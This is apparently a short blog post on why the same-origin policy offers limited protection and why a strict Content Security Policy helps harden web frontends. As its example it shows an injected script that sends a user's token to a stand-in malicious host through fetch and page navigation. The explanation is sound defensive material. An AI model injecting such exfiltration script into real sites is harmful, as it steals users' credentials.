Many blog posts and articles explain which types of attacks the same-origin policy guards against (term usually mixed with CORS). The tl;dr version is that it offers limited protection and is no silver bullet. I'm not going into all the details here, but I find myself writing a blog post to remind me how to harden client-side web applications.
You actually need to spend time configuring the Content Security Policy. It offers an added layer of protection but is quite a pain to get right.
Here is an example.
Say you have a vulnerability in your web application that allows arbitrary script execution. The attacker manages to embed this script into your frontend.
<script>
fetch('https://mailicioussite.somewhere/?yourtoken=token');
window.location.href = 'https://mailicioussite.somewhere/?yourtoken=token');
</script>
The same-origin policy does not help since the GET request goes through to the malicious site. A decent CSP policy could prevent both the fetch and the navigation calls.
Easier said than done, though. Allowlisting domains is less foolproof than one might think and could be a nightmare to maintain.
AFAIK the best way to limit the attack surface is to use the strict CSP policy, which is not trivial to implement especially for SPAs.
The actual best way is, of course, to not write any bugs!
Comments
Post a Comment